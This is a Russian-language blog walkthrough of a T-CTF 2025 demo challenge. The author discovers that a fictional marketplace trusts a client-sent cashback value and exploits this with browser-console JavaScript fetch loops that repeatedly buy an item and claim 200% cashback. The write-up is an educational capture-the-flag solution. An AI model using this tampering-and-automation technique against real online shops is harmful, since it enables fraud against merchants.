Дисциплина Capture The Flag (CTF) — это командные соревнования по поиску и реализации уязвимостей в специально подготовленных для этого площадках.
Целью соревнований является нахождение спрятанных флагов, созданных организаторами, которые могут быть найдены в ходе эксплуатации тех или иных уязвимостей системы. За получение каждого флага начисляются баллы.
Простыми словами: CTF — соревнования для специалистов по безопасности (условно назовем их хакерами).
Делятся на направления: веб, приложения, инфраструктура, криптография и т.д.
В ближайшие выходные (с 19 по 20 апреля 2025 г.) будут проходить соревнования «T-CTF 2025» от Т-Банка.
Это не реклама, за это к моему глубокому сожалению мне никто не платит :) Просто интересный конкурс для разминки мозгов.
Формат соревнований — офлайн и онлайн.
Все желающие могут принять участие и прикоснуться к миру информационной безопасности.
В рамках разминки создатели T-CTF выкладывают демо-задания перед началом соревнований.
Также для демо-заданий дают информацию по способу их решения, поэтому каждый может, если возникли трудности, прибегнуть к помощи и узнать, как решается то или иное задание.
Регистрируемся на соревновании и получаем список заданий.
Например, попробуем «расковырять» задание «Капибонус» самостоятельно.
Простое демо-задание — пример того, с чем можно столкнуться в Лиге разработки на простой сложности.
Добро пожаловать в Капиплейс — новый маркетплейс города.
Здесь за покупки дают возможность крутануть колесо Фортуны и выиграть разные призы. Да только никто ничего не может выиграть, хоть и тратят много денег. Попахивает мошенничеством!
Выиграйте 313 337 ₡ и выкупите алгоритм колеса у супермаркета, чтобы впредь удача улыбалась каждому покупателю.
Перейдем по ссылке из личного кабинета — перед нами открылся обычный интернет-магазин. Регистрируемся.
Главная страница нашего интернет магазина
Есть интернет-магазин, который дает приветственный бонус в виде 100 единиц для оплаты товаров.
При оплате есть возможность поучаствовать в розыгрыше и покрутить рулетку, которая предоставляет:
возврат 200% от стоимости товара;
вычитается с вашего счета минус 10%/20%/50% от стоимости товара;
0 — не выиграли, не проиграли.
Также мы видим товар с названием: «Алгоритм Колеса Фортуны». Как можно догадаться, нам необходимо выкупить данный товар для решения задания.
Из очевидных моментов — это возможность рассмотреть сам механизм начисления бонусов и понять, как можно увеличить наш стартовый баланс из 100 до необходимой суммы в 313 337 единиц благодаря данному розыгрышу.
Откроем консоль разработчика (F12), вкладку Network в режиме «Preserve log», чтобы история запросов сохранялась после обновления страницы.
Добавим какой-нибудь недорогой товар, чтобы средств хватило на большее количество тестов, и попробуем его приобрести.
Запрос для добавления товара:
POST https://{HOSTNAME}.spbctf.org/cart/add/119
body пустое
В качестве указателя товара используется идентификатор в GET — 119. Товары хранятся в сессии.
HTTP запрос на добавление товара
Попробуем приобрести товар: перейдем в корзину и нажмем на кнопку «Оплатить».
Для оформления заказа запрос уходит на метод:
POST https://{HOSTNAME}.spbctf.org/checkout
body пустое
После завершения с нас списываются средства, и нас переводит на страницу с номером заказа.
Далее нам предлагается поучаствовать в самой рулетке — нажимаем на кнопку «Покрутить!».
Мне повезло с первого раза: выпал кэшбэк на 200 процентов :)
POST https://{HOSTNAME}.spbctf.org/order/24140/set-cashback
BODY: {"cashback": 200}
И вот здесь стоит обратить внимание: в теле метода set-cashback мы видим указание на применяемый кэшбэк в 200.
Фактически сам кэшбэк рулетки определяется на стороне клиента (фронтенд), а затем уже сообщается серверу о том, какой результат выпал!
Так как мы можем влиять на запросы, которые от нас уходят, мы фактически можем подменять результаты всех розыгрышей на 200% кэшбэк.
Отлично, это уже способ нарастить баланс!
Попробуем расковырять его дальше и проверить, можем ли мы получить кэшбэк в размере, например, 20000%.
Повторяем операцию: добавляем товар и оформляем заказ.
При указании числа большего, чем 200, выдает статус 303, и кэшбэк не применяется.
Самый простой способ не удался — не получилось вписать большой процент, но рабочий механизм наращивания кэшбэка у нас уже есть.
Наша задача — создать такое количество запросов, которое позволит нам получить баланс для оплаты товара на сумму 313 337.
Поехали: попробуем воспроизвести цикл добавления товара, оформления заказа и кэшбэка автоматически, чтобы не воспроизводить это дело руками.
Делать это будем там же, в консоли разработчика.
Запросы у нас уже есть в консоли — копируем их правой кнопкой мыши: «Copy as fetch».
Копируем исходные запросы
Для реализации подобной логики потребуются небольшие знания программирования на JavaScript.
Сам запрос у нас уже есть — нужно составить цепочку запросов, которые идут друг за другом, и еще вытащить номер заказа для передачи следующему методу.
Давайте попробуем составить эту цепочку и выполнить в консоли.
Единственный момент: на самом сервисе магазина происходит редирект с HTTPS на HTTP, поэтому была добавлена опция в fetch: referrerPolicy: "unsafe-url", чтобы проигнорировать предупреждения браузера.
Вставляем все это дело в консоль разработчика и отправляем:
fetch("https://{HOSTNAME}.spbctf.org/cart/add/119", {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"accept-language": "ru-RU,ru;q=0.9",
"cache-control": "no-cache",
"content-type": "application/x-www-form-urlencoded"
},
"referrer": "https://{HOSTNAME}.spbctf.org/?sort_by=price&order=asc&page=8",
"referrerPolicy": "strict-origin-when-cross-origin",
"method": "POST",
"mode": "cors",
"credentials": "include", referrerPolicy: "unsafe-url"
}).then(function() {
let url = "https://{HOSTNAME}.spbctf.org/checkout";
fetch(url, {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"accept-language": "ru-RU,ru;q=0.9",
"cache-control": "no-cache",
"content-type": "application/x-www-form-urlencoded"
},
"referrer": "https://{HOSTNAME}.spbctf.org/cart",
"referrerPolicy": "strict-origin-when-cross-origin",
"method": "POST",
"mode": "cors",
"credentials": "include", referrerPolicy: "unsafe-url"
}).then(function(response) {
//здесь мы разбираем текущий url и получаем идентификатор заказа
var matches = response.url.match(/order\/(\d+)$/);
//далее этот идентификатор заказа используем для получения кэшбэка
fetch("https://{HOSTNAME}.spbctf.org/order/" + matches[1] + "/set-cashback", {
"headers": {
"accept": "*/*",
"accept-language": "ru-RU,ru;q=0.9",
"cache-control": "no-cache",
"content-type": "application/json"
},
"referrer": "https://{HOSTNAME}.spbctf.org/order/23714",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "{\"cashback\":200}",
"method": "POST",
"mode": "cors",
"credentials": "include", referrerPolicy: "unsafe-url"
});
})
})
Вставляем все это дело в консоль разработчика
Отлично, баланс изменяется автоматически после каждого выполнения кода в консоли.
Обновим товар на более дорогой, чтобы получать больший кэшбэк.
В строке добавления в корзину меняем 119 на ID нужного товара.
fetch("https://{HOSTNAME}.spbctf.org/cart/add/119"
Посмотреть идентификатор товара можно через вкладку Network при добавлении товара либо через Elements в консоли разработчика (ПКМ на кнопке «Купить» → «Просмотреть код»).
Получение нужного идентификатора товара
Теперь автоматизируем отправку запросов в цикле, чтобы не вызывать их вручную.
Добавим цикл и сделаем так, чтобы запросы выполнялись последовательно. Для этого используем async/await.
for (let i = 0; i < 9; i++) {
await fetch("https://{HOSTNAME}.spbctf.org/cart/add/124", {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"accept-language": "ru-RU,ru;q=0.9",
"cache-control": "no-cache",
"content-type": "application/x-www-form-urlencoded"
},
"referrer": "https://{HOSTNAME}.spbctf.org/?sort_by=price&order=asc&page=8",
"referrerPolicy": "strict-origin-when-cross-origin",
"method": "POST",
"mode": "cors",
"credentials": "include", referrerPolicy: "unsafe-url"
}).then(async function() {
let url = "https://{HOSTNAME}.spbctf.org/checkout";
await fetch(url, {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"accept-language": "ru-RU,ru;q=0.9",
"cache-control": "no-cache",
"content-type": "application/x-www-form-urlencoded"
},
"referrer": "https://{HOSTNAME}.spbctf.org/cart",
"referrerPolicy": "strict-origin-when-cross-origin",
"method": "POST",
"mode": "cors",
"credentials": "include", referrerPolicy: "unsafe-url"
}).then(async function(response) {
console.log(response);
//здесь мы разбираем текущий url и получаем идентификатор заказа
var matches = response.url.match(/order\/(\d+)$/);
//далее этот идентификатор заказа используем для получения кэшбэка
await fetch("https://{HOSTNAME}.spbctf.org/order/" + matches[1] + "/set-cashback", {
"headers": {
"accept": "*/*",
"accept-language": "ru-RU,ru;q=0.9",
"cache-control": "no-cache",
"content-type": "application/json"
},
"referrer": "https://{HOSTNAME}.spbctf.org/order/23714",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "{\"cashback\":200}",
"method": "POST",
"mode": "cors",
"credentials": "include", referrerPolicy: "unsafe-url"
});
});
});
}
На выходе получаем конструкцию, которая позволяет наращивать баланс благодаря уязвимости в механизме кэшбэка.
Когда баланс достигает 313 337 ₡, покупаем товар «Алгоритм Колеса Фортуны», получаем ключ и вводим его в личном кабинете CTF.
Получили итоговый ключ для выполнения задания!
Подписывайтесь на мой Телеграм канал: https://t.me/+LWoSqRG4ZRk0ZTcy